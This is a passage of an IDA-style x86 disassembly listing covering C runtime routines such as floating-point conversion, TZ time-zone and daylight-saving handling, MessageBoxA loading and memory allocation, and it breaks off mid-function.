Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCA8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCC0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB4A0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB4C8, eax add esp, 18h movsx eax, byte_4DB4A2 mov dword_4DB4C0, eax pop edi movsx eax, word_4DB4A0 mov dword_4DB4C4, eax mov dword_4DB4CC, offset dword_4DB4A4 mov eax, offset dword_4DB4C0 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8E8o ; ___:0043D148o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4D0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4D0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EBDE2E8h], dl add ah, byte ptr dword_4DB4D0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4D035h, 0D0E89000h, 0C3021EBDh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2610000h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28C0000h test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2600B21h test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB590, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB590 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4D8, ebp mov dword_43CD80, ebx mov dword_43CD70, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4E0 nop call near ptr 2870000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4E0 mov ecx, dword_4DB534 imul eax, 3Ch cmp word_4DB526, bp push 1 pop edx mov dword_43CCD8, eax mov dword_4DB4D8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCD8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB57A, bp jz short loc_424887 mov eax, dword_4DB588 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCDC, edx imul eax, 3Ch mov dword_43CCE0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCDC, ebp mov dword_43CCE0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD64 push ebx push offset dword_4DB4E4 push edi push dword_4DB374 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD64 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD64 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD68 push ebx push offset dword_4DB538 push edi push dword_4DB374 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD68 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB58C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB58C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB58C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD64 call sub_41B5F0 mov eax, off_43CD64 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCD8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCD8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCDC, eax jz short loc_424A3C push 3 push esi push off_43CD68 call sub_41B5F0 mov eax, off_43CD68 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD68 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCDC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD70 jnz short loc_424A7C cmp eax, dword_43CD80 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4D8, edi jz loc_424B54 movzx ecx, word_4DB586 push ecx cmp word_4DB578, di movzx ecx, word_4DB584 push ecx movzx ecx, word_4DB582 push ecx movzx ecx, word_4DB580 push ecx jnz short loc_424ACE movzx ecx, word_4DB57C push edi push ecx movzx ecx, word_4DB57E push ecx movzx ecx, word_4DB57A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB57E push ecx push edi movzx ecx, word_4DB57A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB532 add esp, 2Ch cmp word_4DB524, di push eax movzx eax, word_4DB530 push eax movzx eax, word_4DB52E push eax movzx eax, word_4DB52C push eax jnz short loc_424B3C movzx eax, word_4DB528 push edi push eax movzx eax, word_4DB52A push eax movzx eax, word_4DB526 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB52A push eax push edi movzx eax, word_4DB526 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD74 mov eax, dword_43CD84 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD78 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD88 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD88[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CDBC[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD8C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CDC0[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD88[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CDBC[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD74, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD70, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD78, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD84, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCE0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD88, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD88, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD88, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD84, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD80, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC821[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C332[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB594, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB594, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB598, eax call esi mov dword_4DB59C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB598 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB59C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB594 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC940 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C324 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC944 nop call near ptr 27C0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB32C, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; 